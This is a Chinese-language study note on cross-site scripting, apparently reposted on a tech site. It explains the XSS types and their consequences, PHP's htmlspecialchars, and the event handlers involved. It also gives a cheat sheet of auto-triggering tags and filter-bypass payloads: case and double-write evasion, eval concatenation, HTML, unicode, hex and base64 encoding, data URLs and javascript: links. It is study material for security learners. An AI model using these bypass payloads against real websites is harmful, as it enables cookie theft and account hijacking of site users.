XSS笔记

一、xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
二、XSS的攻击方式

1、 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理;

2、存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内);

3、DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理;

三、导致的结果:

1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题

四、一些自动触发JS代码的标签

1、<script>:

<script> alert("登录成功!"); </script>
<script> console.log("登录成功!"); </script>

2、<img>:

// onerror 参数:若 image.png 加载失败则会执行 onerror 的内容;
<img src="image.png" onerror="alert('Failed to load image')">

3、<input>:

(1)

// 当鼠标焦点在text输入框中时,会自动触发 onfocus 后的内容
<form action=""><input type='text' name='text' onfocus=alert("ww");>
</form>

(2)

// autofocus 会自动定位输入框的位置,然后就会自动执行 onfocus 后的内容
<form action=""><input type='text' name='text' onfocus=alert("ww") autofocus>
</form>

(3)

// onblur 是当鼠标定位到输入框,再移动开时会触发 onblur 之后的js代码
<form action=""><input type='text' name='text' onblur=alert("ww") autofocus>
</form>

(4)

// onclick 是要点击后才会触发
<form action=""><input type="submit" name="submit" value="ww" onclick="alert('ww');">
</form>

4、<details>

(1)

// 当点击展开时触发 ontoggle 后的内容,然后显示 <summary> 后面的内容
<details ontoggle=alert('ww');><summary>Copyright 2011.</summary><p>All pages and graphics on this web site are the property of W3School.</p>
</details>

(2)

// open 属性可以自动触发 ontoggle 后面的内容
<details open ontoggle=alert(1);><summary>Copyright 2011.</summary><p>All pages and graphics on this web site are the property of W3School.</p>
</details>

5、<svg>

//用来在HTML页面中直接嵌入SVG 文件的代码,onload 后的内容直接触发
<svg onload=alert(1);>

6、<select>

(1)

// 点击下拉菜单时,会触发 onfocus 后面的内容
<select onfocus=alert(1)><option>1</option><option>2</option><option>3</option>
</select>

(2)

// autofocus 会不用点击自动触发 onfocus 后的内容
<select onfocus=alert(1) autofocus><option>1</option><option>2</option><option>3</option>
</select>

7、<ifream>

// 在显示嵌入内容前,自动执行 onload 后的内容
<iframe onload=alert(1);></iframe>

8、<video>

// 在显示 video 失败后执行 onerror 后的内容
<video><source onerror=alert(1)>

9、<audio>

// 在音频加载失败后执行 onerror 后的内容
<audio src=x  onerror=alert(1);>

10、<body>

(1)

// 在加载 <body> 标签时执行 onload 后的内容
<body onload=alert(1);><p>132<p>
</body>

(2)

// onscroll 是在滑动滚轮的时候,执行后面的代码
<body onscroll=alert(1);>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus><p>123<p>
</body>

11、<textarea>

// 自动聚焦,自动执行 onfocus 后的内容
<textarea onfocus=alert(1); autofocus>
</textarea>

五、一些绕过过滤的方法:

1.空格过滤:如果空格被过滤了,我们可以用

(1)/

(2)/**/;

补充:
<input name="1"type="text"value="2"> // 是可以正常执行的,也就是各个属性之间不需要空格
<inputname="1"type="text"value="2"> // 不能正常执行
可以用 /**/ 或 / 进行绕过空格
<img/**/src="x"/**/onerror=alert(1);>
<img/src="x"/onerror=alert(1);>

2.引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

# 反引号 `` 位于键盘右上角 esc 下面
<img src=x onerror=alert(`xss`);>

3.括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.onerror=alert;throw 'ww'">
<a onmouseover="javascript:window.onerror=alert;throw 'ww'">

4.关键字过滤
(1)大小写绕过

<sCRiPt>alert('ww');</sCrIpT>
<ImG sRc=x onerRor=alert('ww');>

(2)双写绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>

5.字符串拼接绕过:利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

<img src = x onerror="eval(alert('ww'))">
<img src="x" onerror="a='aler';b='t';c='(`ww`)';eval(a+b+c)">

6.编码绕过

(1)Unicode编码绕过:

(1)分号可有可无,&# 后跟字符ascii的10进制
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">(2)&#x 后跟字符ascii的16进制
<img src="x" onerror="javasc&#x72;&#x69;pt:alert(xss)">(3)使用 unicode 编码时,必须使用 eval(),\u 后跟4位16进制数
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

(2)url编码绕过

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
# 数据url,以 data:text/html,开头,后面嵌入代码

(3)ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
# String.fromCharCode() 它用于根据给定的 Unicode 值创建一个字符串

(4)hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

(5)base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
# atob() 是 base64 解码函数<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

7.过滤url地址

(1)使用url编码

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`><img src="x" onerror=location=`javasc&#x72;&#x69;pt:alert('xss')`>

(2)使用IP

1.十进制IP

<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.十六进制IP

<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用 // 可以代替 http://

<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用 \\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

6.使用中文逗号代替英文逗号,如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号

<img src="x" onerror="document.location=`http://www。baidu。com`">

8.单引号闭合+htmlspecialchars函数绕过

'οnmοuseοver='alert(/xss/)

9.JavaScript伪协议

"><a href=javascript:alert(/xss/)>                  o_n和<scr_ipt>过滤


六、过滤函数

1、htmlspecialchars($string, $flags, $encoding, $double_encode):

(1)$flag : 关注的参数有 ENT_QUOTES 和 ENT_HTML5

1、只有 ENT_HTML5 :跟没有一样,只做如下操作
把 " 转义为 &quot
把 < 转义为 &lt
把 > 转义为 &gt
把 & 转义为 &amp
' 不做处理2、只有 ENT_QUOTES :会对单引号进行转义
把 " 转义为 &quot
把 < 转义为 &lt
把 > 转义为 &gt
把 & 转义为 &amp
把 ' 转义为 &#0393、ENT_QUOTES | ENT_HTML5
把 " 转义为 &quot
把 < 转义为 &lt
把 > 转义为 &gt
把 & 转义为 &amp
把 ' 转义为 &apos

(2)$encoding :用于指定字符编码的字符串,如果未指定,则默认使用脚本的字符编码

(3)$double_encode :一个布尔值,表示是否对已存在的 HTML 实体进行二次转义。默认为 true

七、绕过过滤的常见事件总结

1、鼠标相关:

(1)onclick:鼠标单击事件

(2)onmouseover:鼠标移入事件

(3)onmouseout:鼠标移出事件

2、键盘相关:

(1)onkeydown:键盘键按下事件

(2)onkeyup: 键盘键松开事件

3、表单相关:

(1)onfocus:输入框获取焦点事件

(2)onblur:输入框失去焦点事件

(3)onchange:下拉列表 内容改变事件

(4)onsubmit:表单提交事件

4、其他:

(1)onload:页面加载事件

补充:

1、如果网页请求方式为 get

(1)若是在url中直接对变量赋值,例如 index.php?id=a&#x6a ,在 url 提交后,浏览器会自动对 id 的值进行过滤,对 & 号包括 & 号后面的内容进行置空;

(2)若是在表单中对变量进行赋值,则会对 &#x6a 进行解码,在界面中显示 j

<?php$str = $_GET['id'];echo '<form action="#" method="get"><input type="text" name="id"><input type="submit" value="提交"></form>';echo $str;
?>

2、有时候进行标签闭合时后,单双引号都可以

<?php$str = $_GET['id'];echo '<form action="#" method="get"><input type="text" name="id"><input type="submit" value="提交"></form>';echo $str;
?>在表单中使用 a 标签时,'><a href=javascript:alert(1)>111</a> 和"><a href=javascript:alert(1)>111</a> 都可以进行xss注入

3、无法对标签使用 html 编码

(1)可以对 a 标签的 href 属性内容用 html 编码:

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>111</a>

(2)可以对事件属性使用 html 编码:

" onclick=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; o

(3)对 iframe 标签的 src 属性内容使用 html 编码:

原代码:<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
html转码后:
<iframe src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#44;&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"></iframe>

4、html 编码若是在属性中才会被解码:

(1)<script> alert('&#x61') </script> 此时弹窗显示的是 &#x61
(2)<a href="javascript:alert('&#x61')">111</a> 此时弹窗显示的是 a

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/80331.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RocketMq(一)安装部署

一、linux单机部署&#xff1a; 1、到apache官网下载 | RocketMQ (apache.org)下载binary zip包&#xff0c;如我下载的4.9.6版本。 上传到建好的/usr/local/rocketmq目录下。 2、解压zip包 unzip rocketmq-all-4.9.6-bin-release.zip 3、进入解压后的文件夹,启动 Name Serv…

vue之$emit返回值

使用场景&#xff1a;子组件调用父组件的方法并获取到父组件方法的返回值 方法(一): 回调函数: 1.子组件方法&#xff1a; ……methods:{ShowMore(step){this.$emit("ChildClick",step,(res)>{//回调函数的方法体.处理自己的业务.});}}…… 2、父组件方法 ……

java23种设计模式与追MM

1、FACTORY—追MM少不了请吃饭了&#xff0c;麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西&#xff0c;虽然口味有所不同&#xff0c;但不管你带MM去麦当劳或肯德基&#xff0c;只管向服务员说“来四个鸡翅”就行了。麦当劳和肯德基就是生产鸡翅的Factory 工厂模式&#xff1a…

02目标检测-传统检测方法

目录 一、目标学习的检测方法变迁及对比 二、 基于传统手工特征的检测算法的定义 三、传统主要手工特征与算法 Haar特征与 人脸检测算法 - Viola-Jones(了解) HOG特征与 SVM 算法(了解)&#xff08;行人检测、opencv实现&#xff09; SIFT特征与SIFT算法(了解) DPM&#…

redis--windows配置--redis基础

写在前面&#xff1a; 文章目录 win安装配置密码配置服务服务已经存在 可视化工具运行类型基础类型 帮助文档命令通用命令string命令hashlistsetsortedset win安装 下载地址 然后一路next就可以了。 记得添加到环境变量 配置密码 在目录打开配置文件 搜索requirepass …

Fluent实现大量气泡的随机分布案例

1、问题介绍 气液两相管流在石油、化工、能源、制冷等工业领域中大量存在。气泡在生存发展过程中往往会导致噪声和引起管道振动&#xff0c;自来水管路中如有空气时往往会产生啸叫声和管道剧烈振动。掌握流动过程中气泡的生成、发展及其破裂等动力规律是控制气液两相流气动噪声…

C++qt day8

1.用代码实现简单的图形化界面&#xff08;并将工程文件注释&#xff09; 头文件 #ifndef MYWIDGET_H #define MYWIDGET_H //防止头文件冲突#include <QWidget> //父类的头文件class MyWidget : public QWidget //自定义自己的界面类&#xff0c;公共继承…

【pygame】01 pygame制作游戏的最小系统

这次使用sublimepython进行pygame的游戏开发&#xff0c;目的是学习使用python的基本操作和常用模块 添加一个文件夹到工程 最小系统 1.导入使用的模块 2.初始化&#xff1a;pygame.init函数包含了各个子模块的初始化&#xff0c;可以重复调用 3.pygame.display.set_mode返…

<OpenCV> Mat属性

OpenCV的图像数据类型可参考之前的博客&#xff1a;https://blog.csdn.net/thisiszdy/article/details/120238017 OpenCV-Mat类型的部分属性如下&#xff1a; size&#xff1a;矩阵的大小&#xff0c; s i z e ( c o l s , r o w s ) size(cols,rows) size(cols,rows)&#xf…

Java手写选择排序和算法案例拓展

Java手写选择排序和算法案例拓展 1. Mermanid代码表示思维导图解释实现思路原理 #mermaid-svg-uD2bB5QreLEC3dsv {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-uD2bB5QreLEC3dsv .error-icon{fill:#552222;}#merm…

浅谈机器视觉目前的发展现状

#【中秋征文】程序人生&#xff0c;中秋共享# 机器视觉是一个快速发展的行业&#xff0c;被广泛应用于许多领域&#xff0c;包括制造业、农业、医药行业、包装印刷业等。在制造业中&#xff0c;机器视觉技术被广泛应用于自动化生产线上&#xff0c;用于检测、识别、测量和定位…

数据治理在数字化转型中的重要性

在当今数字化时代&#xff0c;企业的成功与否往往取决于它们对数据的处理和管理能力。数据治理作为数字化转型的关键组成部分&#xff0c;对于帮助企业有效管理和利用数据&#xff0c;实现业务增长和创新至关重要。本文将探讨为什么数字化转型必须进行数据治理&#xff0c;并介…

新能源汽车驱动电机的基本知识

学习目标:了解电机的基本知识。能力目标:培养学生搜集和整理相关资料的能力。素质目标:培养学生良好的职业素养。额定电店.在夫见定条件下电池工作的*于佳 电压知识准备术语和定义。 (1)驱动电机系统 通过有效的控制策略将动力蓄电池提供的直流电转化为交流实现电机的正转以及反…

【Shiro】入门概述

1.是什么 Apache Shiro 是一个功能强大且易于使用的 Java 安全(权限)框架。Shiro 可以完 成&#xff1a;认证、授权、加密、会话管理、与 Web 集成、缓存 等。借助 Shiro 您可以快速轻松 地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 官网&…

LeetCode 每日一题 2023/9/11-2023/9/17

记录了初步解题思路 以及本地实现代码&#xff1b;并不一定为最优 也希望大家能一起探讨 一起进步 目录 9/11 630. 课程表 III9/12 1462. 课程表 IV9/13 2596. 检查骑士巡视方案9/14 1222. 可以攻击国王的皇后9/15 LCP 50. 宝石补给9/16 198. 打家劫舍9/17 9/11 630. 课程表 II…

去耦电路设计应用指南(一)MCU去耦设计介绍

&#xff08;一&#xff09;MCU去耦设计介绍 1. 概述2. MCU需要去耦的原因2.1 去耦电路简介2.2 电源噪声产生的原因2.3 插入损耗2.4 去耦电路简介 参考资料来自网上&#xff1a; 1. 概述 我们经常看到单片机或者IC电路管脚常常会放置一个或者多个陶瓷电容&#xff0c;他们主要…

9.3.5网络原理(应用层HTTP/HTTPS)

一.HTTP: 1. HTTP是超文本传输协议,除了传输字符串,还可以传输图片,字体,视频,音频. 2. 3.HTTP协议报文格式:a.首行,b.请求头(header),c.空行(相当于一个分隔符,分隔了header和body),d.正文(body). 4. 5.URL:唯一资源描述符(长度不限制). a. b.注意:查询字符串(query stri…

【Selenium】webdriver.ChromeOptions()官方文档参数

Google官方Chrome文档&#xff0c;在此记录一下 Chrome Flags for Tooling Many tools maintain a list of runtime flags for Chrome to configure the environment. This file is an attempt to document all chrome flags that are relevant to tools, automation, benchm…

Windows10设置开启自启动任务

Windows10设置开机自启动任务 在日常的工作中经常会遇到需要给系统设置一个开机自启动的任务&#xff0c;例如开机自启动浏览器&#xff0c;开机自启动代理程序等等&#xff0c;这个时候就需要给系统设置一个开机自启动任务&#xff0c;本文主要介绍一下设置开机自启动任务的几…

使用 Messenger 跨进程通信

什么是Messenger Messenger 也是IPC的方案之一&#xff0c;是基于消息的跨进程通信。基于消息是什么意思&#xff1f;Handler是我们最常用的消息机制&#xff0c;所以 Messenger 对于使用者来说就像是使用 Handler。实际上 Messenger 就是 AIDL 的上层封装而已&#xff0c;它们…